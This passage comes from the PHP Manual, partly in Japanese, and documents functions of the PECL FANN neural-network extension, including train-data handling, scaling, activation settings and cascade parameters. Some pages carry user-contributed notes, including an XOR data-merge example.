ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_randomize_weights() - Give each connection a random weight between min_weight and max_weight
  • fann_read_train_from_file() - Reads a file that stores training data

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of training patterns in the train data

  • ≪ fann_init_weights
  • fann_merge_train_data ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of training patterns in the train data

fann_length_train_data

(PECL fann >= 1.0.0)

fann_length_train_data — Returns the number of training patterns in the train data

説明

fann_length_train_data ( resource $data ) : int

Returns the number of training patterns in the train data resource.

パラメータ

data

ニューラルネットワークトレーニングリソース。

返り値

Number of elements in the train data resource, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Merges the train data

  • ≪ fann_length_train_data
  • fann_num_input_train_data ≫
  • PHP Manual
  • Fann 関数
  • Merges the train data

fann_merge_train_data

(PECL fann >= 1.0.0)

fann_merge_train_data — Merges the train data

説明

fann_merge_train_data ( resource $data1 , resource $data2 ) : resource

Merges the data from data1 and data2 into a new train data resource.

パラメータ

data1

ニューラルネットワークトレーニングリソース。

data2

ニューラルネットワークトレーニングリソース。

返り値

New merged train data resource, or false on error.

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 07:19
There will be times when you need to merge separate data sets into a new single set.

This code demonstrates how to merge the XOR dataset from two separate files into a single training file.

File (xor_part_1.data):
1 2 1
-1 -1
-1

File (xor_part_2.data):
3 2 1
-1 1
1
1 -1
1
1 1
-1

Resulting File (xor_complete.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
// Create partial data resources
$train_data_1 = fann_read_train_from_file("xor_part_1.data");
$train_data_2 = fann_read_train_from_file("xor_part_2.data");

// Merge into new data resource
$train_data = fann_merge_train_data ($train_data_1, $train_data_2);

// Remove the partial data resources from memory
fann_destroy_train ( $train_data_1 );
fann_destroy_train ( $train_data_2 );

// Save the new complete Data file
fann_save_train ( $train_data , "xor_complete.data");

// Remove the complete data resources from memory
fann_destroy_train ( $train_data );

echo 'All Done!' . PHP_EOL;
?>


Returns the number of inputs in each of the training patterns in the train data

  • ≪ fann_merge_train_data
  • fann_num_output_train_data ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of inputs in each of the training patterns in the train data

fann_num_input_train_data

(PECL fann >= 1.0.0)

fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data

説明

fann_num_input_train_data ( resource $data ) : int

Returns the number of inputs in each of the training patterns in the train data resource.

パラメータ

data

ニューラルネットワークトレーニングリソース。

返り値

The number of inputs, or false on error.

参考

  • fann_length_train_data() - Returns the number of training patterns in the train data
  • fann_num_output_train_data() - Returns the number of outputs in each of the training patterns in the train data

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of outputs in each of the training patterns in the train data

  • ≪ fann_num_input_train_data
  • fann_print_error ≫
  • PHP Manual
  • Fann 関数
  • Returns the number of outputs in each of the training patterns in the train data

fann_num_output_train_data

(PECL fann >= 1.0.0)

fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data

説明

fann_num_output_train_data ( resource $data ) : int

Returns the number of outputs in each of the training patterns in the train data resource.

パラメータ

data

ニューラルネットワークトレーニングリソース。

返り値

The number of outputs, or false on error.

参考

  • fann_length_train_data() - Returns the number of training patterns in the train data
  • fann_num_input_train_data() - Returns the number of inputs in each of the training patterns in the train data

User Contributed Notes

There are no user contributed notes for this page.


Prints the error string

  • ≪ fann_num_output_train_data
  • fann_randomize_weights ≫
  • PHP Manual
  • Fann 関数
  • Prints the error string

fann_print_error

(PECL fann >= 1.0.0)

fann_print_error — Prints the error string

説明

fann_print_error ( resource $errdat ) : void

Prints the error string.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

返り値

値を返しません。

参考

  • fann_get_errstr() - Returns the last errstr

User Contributed Notes

There are no user contributed notes for this page.


Give each connection a random weight between min_weight and max_weight

  • ≪ fann_print_error
  • fann_read_train_from_file ≫
  • PHP Manual
  • Fann 関数
  • Give each connection a random weight between min_weight and max_weight

fann_randomize_weights

(PECL fann >= 1.0.0)

fann_randomize_weights — Give each connection a random weight between min_weight and max_weight

説明

fann_randomize_weights ( resource $ann , float $min_weight , float $max_weight ) : bool

Give each connection a random weight between min_weight and max_weight

From the beginning the weights are random between -0.1 and 0.1.

パラメータ

ann

ニューラルネットワークリソース。

min_weight

Minimum weight value

max_weight

Maximum weight value

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_init_weights() - Initialize the weights using Widrow + Nguyen’s algorithm

User Contributed Notes

There are no user contributed notes for this page.


Reads a file that stores training data

  • ≪ fann_randomize_weights
  • fann_reset_errno ≫
  • PHP Manual
  • Fann 関数
  • Reads a file that stores training data

fann_read_train_from_file

(PECL fann >= 1.0.0)

fann_read_train_from_file — Reads a file that stores training data

説明

fann_read_train_from_file ( string $filename ) : resource

Reads a file that stores training data.

パラメータ

filename

The input file in the following format:

num_train_data num_input num_output
inputdata seperated by space
outputdata seperated by space

.
.
.

inputdata seperated by space
outputdata seperated by space

返り値

成功した場合にニューラルネットワークトレーニングリソース、エラー時に false を返します。

例

例1 fann_read_train_from_file() example

<?php
$train_data = fann_read_train_from_file("xor.data");
if ($train_data) {
    // Do something with $train_data for XOR function
}
?>

Contents of xor.data

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

Ray.Paseur sometimes uses Gmail 03-Mar-2017 08:40
An explanation of the values used in xor.data is available here:
http://php.net/manual/en/fann.examples-1.php#117242


Resets the last error number

  • ≪ fann_read_train_from_file
  • fann_reset_errstr ≫
  • PHP Manual
  • Fann 関数
  • Resets the last error number

fann_reset_errno

(PECL fann >= 1.0.0)

fann_reset_errno — Resets the last error number

説明

fann_reset_errno ( resource $errdat ) : void

Resets the last error number.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

返り値

値を返しません。

参考

  • fann_get_errno() - Returns the last error number
  • fann_reset_errstr() - Resets the last error string

User Contributed Notes

There are no user contributed notes for this page.


Resets the last error string

  • ≪ fann_reset_errno
  • fann_reset_MSE ≫
  • PHP Manual
  • Fann 関数
  • Resets the last error string

fann_reset_errstr

(PECL fann >= 1.0.0)

fann_reset_errstr — Resets the last error string

説明

fann_reset_errstr ( resource $errdat ) : void

Resets the last error string.

パラメータ

errdat

ニューラルネットワークリソースあるいはニューラルネットワークトレーニングリソース。

返り値

値を返しません。

参考

  • fann_get_errstr() - Returns the last errstr
  • fann_reset_errno() - Resets the last error number

User Contributed Notes

There are no user contributed notes for this page.


Resets the mean square error from the network

  • ≪ fann_reset_errstr
  • fann_run ≫
  • PHP Manual
  • Fann 関数
  • Resets the mean square error from the network

fann_reset_MSE

(PECL fann >= 1.0.0)

fann_reset_MSE — Resets the mean square error from the network

説明

fann_reset_MSE ( string $ann ) : bool

Resets the mean square error from the network.

This function also resets the number of bits that fail.

パラメータ

ann

ニューラルネットワークリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Will run input through the neural network

  • ≪ fann_reset_MSE
  • fann_save_train ≫
  • PHP Manual
  • Fann 関数
  • Will run input through the neural network

fann_run

(PECL fann >= 1.0.0)

fann_run — Will run input through the neural network

説明

fann_run ( resource $ann , array $input ) : array

Will run input through the neural network, returning an array of outputs, the number of which being equal to the number of neurons in the output layer.

パラメータ

ann

ニューラルネットワークリソース。

input

Array of input values

返り値

Array of output values, or false on error

User Contributed Notes

There are no user contributed notes for this page.


Save the training structure to a file

  • ≪ fann_run
  • fann_save ≫
  • PHP Manual
  • Fann 関数
  • Save the training structure to a file

fann_save_train

(PECL fann >= 1.0.0)

fann_save_train — Save the training structure to a file

説明

fann_save_train ( resource $data , string $file_name ) : bool

Save the training data to a file, with the format as specified in fann_read_train_from_file().

パラメータ

data

ニューラルネットワークトレーニングリソース。

file_name

The file name of the file where training data is saved to.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_read_train_from_file() - Reads a file that stores training data

User Contributed Notes

There are no user contributed notes for this page.


Saves the entire network to a configuration file

  • ≪ fann_save_train
  • fann_scale_input_train_data ≫
  • PHP Manual
  • Fann 関数
  • Saves the entire network to a configuration file

fann_save

(PECL fann >= 1.0.0)

fann_save — Saves the entire network to a configuration file

説明

fann_save ( resource $ann , string $configuration_file ) : bool

Saves the entire network to a configuration file.

The configuration file contains all information about the neural network and enables fann_create_from_file() to create an exact copy of the neural network and all of the parameters associated with the neural network.

These three parameters (fann_set_callback(), fann_set_error_log(), fann_set_user_data()) are NOT saved to the file because they cannot safely be ported to a different location. Also temporary parameters generated during training like fann_get_MSE() is not saved.

パラメータ

ann

ニューラルネットワークリソース。

configuration_file

The configuration file path.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_create_from_file() - Constructs a backpropagation neural network from a configuration file

User Contributed Notes

There are no user contributed notes for this page.


Scales the inputs in the training data to the specified range

  • ≪ fann_save
  • fann_scale_input ≫
  • PHP Manual
  • Fann 関数
  • Scales the inputs in the training data to the specified range

fann_scale_input_train_data

(PECL fann >= 1.0.0)

fann_scale_input_train_data — Scales the inputs in the training data to the specified range

説明

fann_scale_input_train_data ( resource $train_data , float $new_min , float $new_max ) : bool

Scales the inputs in the training data to the specified range.

パラメータ

train_data

ニューラルネットワークトレーニングリソース。

new_min

New minimum after scaling inputs in training data.

new_max

New maximum after scaling inputs in training data.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_output_train_data() - Scales the outputs in the training data to the specified range
  • fann_scale_train_data() - Scales the inputs and outputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale data in input vector before feed it to ann based on previously calculated parameters

  • ≪ fann_scale_input_train_data
  • fann_scale_output_train_data ≫
  • PHP Manual
  • Fann 関数
  • Scale data in input vector before feed it to ann based on previously calculated parameters

fann_scale_input

(PECL fann >= 1.0.0)

fann_scale_input — Scale data in input vector before feed it to ann based on previously calculated parameters

説明

fann_scale_input ( resource $ann , array $input_vector ) : bool

Scale data in input vector before feed it to ann based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

input_vector

Input vector that will be scaled

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_descale_input() - Scale data in input vector after get it from ann based on previously calculated parameters
  • fann_scale_output() - Scale data in output vector before feed it to ann based on previously calculated parameters

User Contributed Notes

saakyanalexandr at gmail dot com 27-Nov-2019 08:38
fann_scale_input and fann_scale_output return not bool value. This function return scaling vector.

Example
$r = fann_scale_input($ann, $input);
$output = fann_run($ann, $input);
$s = fann_scale_output ( $ann, $output);

$r and $s is array
Nolife 10-Oct-2017 04:55
Please note -> ALLfann  scaling related functions are not functional.
They are implemented wrong so the scaling is calculated within the library but it's not referenced back to the input variables.


Scales the outputs in the training data to the specified range

  • ≪ fann_scale_input
  • fann_scale_output ≫
  • PHP Manual
  • Fann 関数
  • Scales the outputs in the training data to the specified range

fann_scale_output_train_data

(PECL fann >= 1.0.0)

fann_scale_output_train_data — Scales the outputs in the training data to the specified range

説明

fann_scale_output_train_data ( resource $train_data , float $new_min , float $new_max ) : bool

Scales the outputs in the training data to the specified range.

パラメータ

train_data

ニューラルネットワークトレーニングリソース。

new_min

New minimum after scaling outputs in training data.

new_max

New maximum after scaling outputs in training data.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_input_train_data() - Scales the inputs in the training data to the specified range
  • fann_scale_train_data() - Scales the inputs and outputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale data in output vector before feed it to ann based on previously calculated parameters

  • ≪ fann_scale_output_train_data
  • fann_scale_train_data ≫
  • PHP Manual
  • Fann 関数
  • Scale data in output vector before feed it to ann based on previously calculated parameters

fann_scale_output

(PECL fann >= 1.0.0)

fann_scale_output — Scale data in output vector before feed it to ann based on previously calculated parameters

説明

fann_scale_output ( resource $ann , array $output_vector ) : bool

Scale data in output vector before feed it to ann based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

output_vector

Output vector that will be scaled

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_descale_output() - Scale data in output vector after get it from ann based on previously calculated parameters
  • fann_scale_input() - Scale data in input vector before feed it to ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Scales the inputs and outputs in the training data to the specified range

  • ≪ fann_scale_output
  • fann_scale_train ≫
  • PHP Manual
  • Fann 関数
  • Scales the inputs and outputs in the training data to the specified range

fann_scale_train_data

(PECL fann >= 1.0.0)

fann_scale_train_data — Scales the inputs and outputs in the training data to the specified range

説明

fann_scale_train_data ( resource $train_data , float $new_min , float $new_max ) : bool

Scales the inputs and outputs in the training data to the specified range.

パラメータ

train_data

ニューラルネットワークトレーニングリソース。

new_min

New minimum after scaling inputs and outputs in training data.

new_max

New maximum after scaling inputs and outputs in training data.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_scale_output_train_data() - Scales the outputs in the training data to the specified range
  • fann_scale_input_train_data() - Scales the inputs in the training data to the specified range

User Contributed Notes

There are no user contributed notes for this page.


Scale input and output data based on previously calculated parameters

  • ≪ fann_scale_train_data
  • fann_set_activation_function_hidden ≫
  • PHP Manual
  • Fann 関数
  • Scale input and output data based on previously calculated parameters

fann_scale_train

(PECL fann >= 1.0.0)

fann_scale_train — Scale input and output data based on previously calculated parameters

説明

fann_scale_train ( resource $ann , resource $train_data ) : bool

Scale input and output data based on previously calculated parameters.

パラメータ

ann

ニューラルネットワークリソース。

train_data

ニューラルネットワークトレーニングリソース。

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_descale_train() - Descale input and output data based on previously calculated parameters
  • fann_set_scaling_params() - Calculate input and output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for all of the hidden layers

  • ≪ fann_scale_train
  • fann_set_activation_function_layer ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation function for all of the hidden layers

fann_set_activation_function_hidden

(PECL fann >= 1.0.0)

fann_set_activation_function_hidden — Sets the activation function for all of the hidden layers

説明

fann_set_activation_function_hidden ( resource $ann , int $activation_function ) : bool

Sets the activation function for all of the hidden layers.

パラメータ

ann

ニューラルネットワークリソース。

activation_function

The activation functions constant.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for all the neurons in the supplied layer

  • ≪ fann_set_activation_function_hidden
  • fann_set_activation_function_output ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation function for all the neurons in the supplied layer

fann_set_activation_function_layer

(PECL fann >= 1.0.0)

fann_set_activation_function_layer — Sets the activation function for all the neurons in the supplied layer

説明

fann_set_activation_function_layer ( resource $ann , int $activation_function , int $layer ) : bool

Set the activation function for all the neurons in the layer number layer, counting the input layer as layer 0.

It is not possible to set activation functions for the neurons in the input layer.

パラメータ

ann

ニューラルネットワークリソース。

activation_function

The activation functions constant.

layer

Layer number.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for the output layer

  • ≪ fann_set_activation_function_layer
  • fann_set_activation_function ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation function for the output layer

fann_set_activation_function_output

(PECL fann >= 1.0.0)

fann_set_activation_function_output — Sets the activation function for the output layer

説明

fann_set_activation_function_output ( resource $ann , int $activation_function ) : bool

Sets the activation function for the output layer.

パラメータ

ann

ニューラルネットワークリソース。

activation_function

The activation functions constant.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation function for supplied neuron and layer

  • ≪ fann_set_activation_function_output
  • fann_set_activation_steepness_hidden ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation function for supplied neuron and layer

fann_set_activation_function

(PECL fann >= 1.0.0)

fann_set_activation_function — Sets the activation function for supplied neuron and layer

説明

fann_set_activation_function ( resource $ann , int $activation_function , int $layer , int $neuron ) : bool

Set the activation function for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to set activation functions for the neurons in the input layer.

When choosing an activation function it is important to note that the activation functions have different range. FANN_SIGMOID is e.g. in the 0 - 1 range while FANN_SIGMOID_SYMMETRIC is in the -1 - 1 range and FANN_LINEAR is unbound.

The supplied activation_function value must be one of the activation functions constants.

The return value is one of the activation functions constants.

パラメータ

ann

ニューラルネットワークリソース。

activation_function

The activation functions constant.

layer

Layer number.

neuron

Neuron number.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_get_activation_function() - Returns the activation function

User Contributed Notes

There are no user contributed notes for this page.


Sets the steepness of the activation steepness for all neurons in the all hidden layers

  • ≪ fann_set_activation_function
  • fann_set_activation_steepness_layer ≫
  • PHP Manual
  • Fann 関数
  • Sets the steepness of the activation steepness for all neurons in the all hidden layers

fann_set_activation_steepness_hidden

(PECL fann >= 1.0.0)

fann_set_activation_steepness_hidden — Sets the steepness of the activation steepness for all neurons in the all hidden layers

説明

fann_set_activation_steepness_hidden ( resource $ann , float $activation_steepness ) : bool

Sets the steepness of the activation steepness for all neurons in the all hidden layers.

パラメータ

ann

ニューラルネットワークリソース。

activation_steepness

The activation steepness.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation steepness for all of the neurons in the supplied layer number

  • ≪ fann_set_activation_steepness_hidden
  • fann_set_activation_steepness_output ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation steepness for all of the neurons in the supplied layer number

fann_set_activation_steepness_layer

(PECL fann >= 1.0.0)

fann_set_activation_steepness_layer — Sets the activation steepness for all of the neurons in the supplied layer number

説明

fann_set_activation_steepness_layer ( resource $ann , float $activation_steepness , int $layer ) : bool

Set the activation steepness for all of the neurons in layer number layer, counting the input layer as layer 0.

It is not possible to set activation steepness for the neurons in the input layer.

パラメータ

ann

ニューラルネットワークリソース。

activation_steepness

The activation steepness.

layer

Layer number.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the steepness of the activation steepness in the output layer

  • ≪ fann_set_activation_steepness_layer
  • fann_set_activation_steepness ≫
  • PHP Manual
  • Fann 関数
  • Sets the steepness of the activation steepness in the output layer

fann_set_activation_steepness_output

(PECL fann >= 1.0.0)

fann_set_activation_steepness_output — Sets the steepness of the activation steepness in the output layer

説明

fann_set_activation_steepness_output ( resource $ann , float $activation_steepness ) : bool

Sets the steepness of the activation steepness in the output layer.

パラメータ

ann

ニューラルネットワークリソース。

activation_steepness

The activation steepness.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Sets the activation steepness for supplied neuron and layer number

  • ≪ fann_set_activation_steepness_output
  • fann_set_bit_fail_limit ≫
  • PHP Manual
  • Fann 関数
  • Sets the activation steepness for supplied neuron and layer number

fann_set_activation_steepness

(PECL fann >= 1.0.0)

fann_set_activation_steepness — Sets the activation steepness for supplied neuron and layer number

説明

fann_set_activation_steepness ( resource $ann , float $activation_steepness , int $layer , int $neuron ) : bool

Set the activation steepness for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to set activation steepness for the neurons in the input layer.

The steepness of an activation function says something about how fast the activation function goes from the minimum to the maximum. A high value for the activation function will also give a more agressive training.

When training neural networks where the output values should be at the extremes (usually 0 and 1, depending on the activation function), a steep activation function can be used (e.g. 1.0).

The default activation steepness is 0.5.

パラメータ

ann

ニューラルネットワークリソース。

activation_steepness

The activation steepness.

layer

Layer number.

neuron

Neuron number.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_get_activation_steepness() - Returns the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Set the bit fail limit used during training

  • ≪ fann_set_activation_steepness
  • fann_set_callback ≫
  • PHP Manual
  • Fann 関数
  • Set the bit fail limit used during training

fann_set_bit_fail_limit

(PECL fann >= 1.0.0)

fann_set_bit_fail_limit — Set the bit fail limit used during training

説明

fann_set_bit_fail_limit ( resource $ann , float $bit_fail_limit ) : bool

Set the bit fail limit used during training.

パラメータ

ann

ニューラルネットワークリソース。

bit_fail_limit

The bit fail limit.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the callback function for use during training

  • ≪ fann_set_bit_fail_limit
  • fann_set_cascade_activation_functions ≫
  • PHP Manual
  • Fann 関数
  • Sets the callback function for use during training

fann_set_callback

(PECL fann >= 1.0.0)

fann_set_callback — Sets the callback function for use during training

説明

fann_set_callback ( resource $ann , callable $callback ) : bool

Sets the callback function for use during training. It means that it is called from fann_train_on_data() or fann_train_on_file().

パラメータ

ann

ニューラルネットワークリソース。

callback

The supplied callback function takes following parameters:

  • ann - The neural network resource
  • train - The train data resource or null if called from fann_train_on_file()
  • max_epochs - The maximum number of epochs the training should continue
  • epochs_between_reports - The number of epochs between calling this function
  • desired_error - The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()
  • epochs - The current epoch

The callback should return true. If it returns false, the training will terminate.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_on_file() - Trains on an entire dataset, which is read from file, for a period of time

User Contributed Notes

There are no user contributed notes for this page.


Sets the array of cascade candidate activation functions

  • ≪ fann_set_callback
  • fann_set_cascade_activation_steepnesses ≫
  • PHP Manual
  • Fann 関数
  • Sets the array of cascade candidate activation functions

fann_set_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_set_cascade_activation_functions — Sets the array of cascade candidate activation functions

説明

fann_set_cascade_activation_functions ( resource $ann , array $cascade_activation_functions ) : bool

Sets the array of cascade candidate activation functions.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

パラメータ

ann

ニューラルネットワークリソース。

cascade_activation_functions

The array of cascade candidate activation functions.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_set_cascade_activation_functions()

User Contributed Notes

There are no user contributed notes for this page.


Sets the array of cascade candidate activation steepnesses

  • ≪ fann_set_cascade_activation_functions
  • fann_set_cascade_candidate_change_fraction ≫
  • PHP Manual
  • Fann 関数
  • Sets the array of cascade candidate activation steepnesses

fann_set_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_set_cascade_activation_steepnesses — Sets the array of cascade candidate activation steepnesses

説明

fann_set_cascade_activation_steepnesses ( resource $ann , array $cascade_activation_steepnesses_count ) : bool

Sets the array of cascade candidate activation steepnesses.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

パラメータ

ann

ニューラルネットワークリソース。

cascade_activation_steepnesses_count

The array of cascade candidate activation steepnesses.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses

User Contributed Notes

There are no user contributed notes for this page.


Sets the cascade candidate change fraction

  • ≪ fann_set_cascade_activation_steepnesses
  • fann_set_cascade_candidate_limit ≫
  • PHP Manual
  • Fann 関数
  • Sets the cascade candidate change fraction

fann_set_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_change_fraction — Sets the cascade candidate change fraction

説明

fann_set_cascade_candidate_change_fraction ( resource $ann , float $cascade_candidate_change_fraction ) : bool

Sets the cascade candidate change fraction.

パラメータ

ann

ニューラルネットワークリソース。

cascade_candidate_change_fraction

The cascade candidate change fraction.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_candidate_change_fraction() - Returns the cascade candidate change fraction

User Contributed Notes

There are no user contributed notes for this page.


Sets the candidate limit

  • ≪ fann_set_cascade_candidate_change_fraction
  • fann_set_cascade_candidate_stagnation_epochs ≫
  • PHP Manual
  • Fann 関数
  • Sets the candidate limit

fann_set_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_limit — Sets the candidate limit

説明

fann_set_cascade_candidate_limit ( resource $ann , float $cascade_candidate_limit ) : bool

Sets the candidate limit.

パラメータ

ann

ニューラルネットワークリソース。

cascade_candidate_limit

The candidate limit.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_candidate_limit() - Return the candidate limit

User Contributed Notes

There are no user contributed notes for this page.


Sets the number of cascade candidate stagnation epochs

  • ≪ fann_set_cascade_candidate_limit
  • fann_set_cascade_max_cand_epochs ≫
  • PHP Manual
  • Fann 関数
  • Sets the number of cascade candidate stagnation epochs

fann_set_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_candidate_stagnation_epochs — Sets the number of cascade candidate stagnation epochs

説明

fann_set_cascade_candidate_stagnation_epochs ( resource $ann , int $cascade_candidate_stagnation_epochs ) : bool

Sets the number of cascade candidate stagnation epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_candidate_stagnation_epochs

The number of cascade candidate stagnation epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_candidate_stagnation_epochs() - Returns the number of cascade candidate stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the max candidate epochs

  • ≪ fann_set_cascade_candidate_stagnation_epochs
  • fann_set_cascade_max_out_epochs ≫
  • PHP Manual
  • Fann 関数
  • Sets the max candidate epochs

fann_set_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_cand_epochs — Sets the max candidate epochs

説明

fann_set_cascade_max_cand_epochs ( resource $ann , int $cascade_max_cand_epochs ) : bool

Sets the max candidate epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_max_cand_epochs

The max candidate epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_max_cand_epochs() - Returns the maximum candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum out epochs

  • ≪ fann_set_cascade_max_cand_epochs
  • fann_set_cascade_min_cand_epochs ≫
  • PHP Manual
  • Fann 関数
  • Sets the maximum out epochs

fann_set_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_set_cascade_max_out_epochs — Sets the maximum out epochs

説明

fann_set_cascade_max_out_epochs ( resource $ann , int $cascade_max_out_epochs ) : bool

Sets the maximum out epochs.

パラメータ

ann

ニューラルネットワークリソース。

cascade_max_out_epochs

The maximum out epochs.

返り値

成功した場合に true、それ以外の場合に false を返します。

参考

  • fann_get_cascade_max_out_epochs() - Returns the maximum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Sets the min candidate epochs

  • ≪ fann_set_cascade_max_out_epochs
  • fann_set_cascade_min_out_epochs ≫
  • PHP Manual
  • Fann 関数
